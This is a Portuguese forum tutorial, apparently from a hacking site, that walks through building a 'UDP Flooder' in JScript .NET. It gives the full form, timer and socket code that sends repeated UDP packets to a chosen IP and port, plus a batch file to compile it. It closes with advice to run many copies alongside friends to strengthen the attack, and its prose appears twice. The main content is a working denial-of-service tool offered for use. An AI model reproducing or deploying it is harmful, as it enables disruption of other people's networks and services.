JScript .NET é uma linguagem de programação direcionada para a Plataforma .NET desenvolvida pela Microsoft. Por favor não confundam com Javascript, porque a mesma é uma linguagem de programação interpretada direcionada a navegadores de Web, ou seja, pode ser executado sem a necessidade de compilar o código primeiro. Este não é o caso do JScript .NET que exige um compilador de linha de comando, já que depende da .NET Common Language Runtime (CLR) para a execução, que exige que o código seja compilado para Common Intermediate Language (CIL), anteriormente chamado Microsoft Intermediate Language (MSIL), antes que ele possa ser executado.
Muita gente confunde JScript .NET com C#, Né nickguitar.dll, pela semelhança da sintaxe, veja bem, as diferenças do JScript .NET pro C#:
Bem, após esse resumo sobre JScript .NET em seu todo vamos começar.
Primeiramente devemos importar as bibliotecas necessárias para nosso programa funcionar corretamente. Note a semelhança ao método Using em C#.
Não vou explicar para que cada biblioteca dessa serve, por saber que vocês já tem experiências similares a outras linguagens.
Continuando, vamos começar a desenvolver o formulário. Criando uma classe e a estendendo ao System.Windows.Forms.Form.
Criaremos uma variável para o nosso Timer ( um forma de Loop de uma determinada função ).
Continuando criamos a função global da Janela, definindo bordas, tamanho, e ocultamos o botão Maximizar.
Criamos três controles, dois botões, definindo as coordenadas baseadas no plano cartesiano dos mesmo, tamanho, texto e por fim a função a ser chamada quando houver um click nos mesmos. Também definimos as propriedades do timer e no final adicionamos os controles no formulario.
Onde está timer.Interval = 1000; altere pelo valor que lhe convém, recomendo 1.
Agora criaremos a função que será ativada quando o timer ativar.
Edite aqui:
Por fim, inserimos as funções dos botões que criamos e fechamos a função Form1, se você tiver o minimo de noção de programação entendera pra que serve cada pedaço de código sem a necessidade de explicar.
Finalizando o código devemos executar a formulário e definir um Estilo para que os botões não fiquem medievais, isto é simples basta fazer assim:
Pronto, seu UDP Flooder está pronto, salve com udp.js, porque agora é a hora de compilar.
Preste atenção nos próximos passos.
Depois salve.
[*]Agora crie outra pasta dentro dessa e dê o nome dela de bin.
[*]Agora abra o seu arquivo.bat e digite udp. Somente "udp". não coloque a extensão que é .js. E logo após isso dê enter. Vá na pasta bin e abra o udp.exe.
Após abrir, clique em Start, pronto seu UDP está funcionando 100%.
Dica: Abra vários e clique em Start. Amigos fazendo isso também ajuda.
Até+
Muita gente confunde JScript .NET com C#, Né nickguitar.dll, pela semelhança da sintaxe, veja bem, as diferenças do JScript .NET pro C#:
- JScript .NET não requer uma função main() para que o sistema operacional deva chamar diretamente ao executar um aplicativo JScript .NET, como tal, O fluxo do programa JScript .NET pode ser baseado em um código global.
- JScript .NET, por causa de seu sistema de verificação de tipo muito solto pode ser muito fácil de aprender, desde que a convenção de declaração de tipo explícita não é necessária a todos.
- JScript .NET não requer referências explícitas à NET Framework Base Class Library, Como certas funções encontradas em versões anteriores do Javascript estão presentes em JScript .NET (por exemplo, funções para encontrar a tangente de um ângulo de um triângulo retângulo).
- JScript .NET está intimamente ligada à sintaxe do C , e é, portanto, muito fácil de aprender que tem experiência com C # , Java ou C + +.
- Enquanto JScript .NET pode ser usado para criar aplicativos Windows Forms, JScript .NET terá alguns problemas, como delegates só pode ser usado em JScript .NET e não criados. Assim, eventos personalizados são difíceis de imitar em JScript .NET.
Bem, após esse resumo sobre JScript .NET em seu todo vamos começar.
Primeiramente devemos importar as bibliotecas necessárias para nosso programa funcionar corretamente. Note a semelhança ao método Using em C#.
Código:
import System; import System.Collections.Generic; import System.ComponentModel; import System.Data; import System.Drawing; import System.Linq; import System.Text; import System.Windows.Forms; import System.Threading; import System.Net.Sockets; import System.Net; import System.IO; import Accessibility;
Continuando, vamos começar a desenvolver o formulário. Criando uma classe e a estendendo ao System.Windows.Forms.Form.
Código:
public class Form1 extends System.Windows.Forms.Form {
Código:
var timer;
Código:
public function Form1() { this.Text = "Guia do Hacker - UDP Flooder"; this.ClientSize = new System.Drawing.Size(158,84); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; this.MaximizeBox = false;
Código:
var button1 = new Button; button1.Name = "Start"; button1.Location = new Point (10,10); button1.Size = new System.Drawing.Size(64,64); button1.Text = "Start"; button1.add_Click(addEventClick); var button2 = new Button; button2.Name = "Stop"; button2.Location = new Point (84,10); button2.Size = new System.Drawing.Size(64,64); button2.Text = "Stop"; button2.add_Click(addEventClick); timer = new Timer(); timer.Interval = 1000; timer.add_Tick(timer_Tick); this.Controls.Add(button1); this.Controls.Add(button2); }
Agora criaremos a função que será ativada quando o timer ativar.
Código:
public function timer_Tick(sender : Object, e: EventArgs) { var ascii = new ASCIIEncoding(); var packetData = ascii.GetBytes("<Packet OF Data Here>"); var IP:String = "INSIRA_O_IP"; var port:int = PORTA; var ep = new IPEndPoint(IPAddress.Parse(IP), port); var client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); client.SendTo(packetData, ep); }
Código:
var IP:String = "INSIRA_O_IP"; var port:int = PORTA;
Código:
private function addEventClick(sender : Object, e : EventArgs) //button to start takedown { switch(sender.Text) { case "Start": MessageBox.Show("Ativado!"); timer.Start(); break case "Stop": MessageBox.Show("Parado!"); timer.Stop(); break; } } }
Código:
Application.EnableVisualStyles(); Application.Run(new Form1);
Preste atenção nos próximos passos.
- Crie uma nova pasta com o nome que quiser, e coloque o udp.js.
- Vá na pasta: C:\Windows\Microsoft.NET\Framework. Vai ter algumas pastas de versões do seu Framework clique na mais recente, no meu caso v4.0.30319.
- Procure pelo arquivo jsc.exe, Copie e cole na pasta que você criou anteriormente.
- Crie um arquivo .bat dentro da pasta e no código-fonte dele coloque isso:
Código:@echo off title Paul Ahmadinejad - JSC Compiler echo Arquivo: set /p file= cls jsc.exe /t:winexe %file%.js move /-y "%file%.exe" "bin" pause >nul
Depois salve.
[*]Agora crie outra pasta dentro dessa e dê o nome dela de bin.
[*]Agora abra o seu arquivo.bat e digite udp. Somente "udp". não coloque a extensão que é .js. E logo após isso dê enter. Vá na pasta bin e abra o udp.exe.
Após abrir, clique em Start, pronto seu UDP está funcionando 100%.
Dica: Abra vários e clique em Start. Amigos fazendo isso também ajuda.
Até+
Comment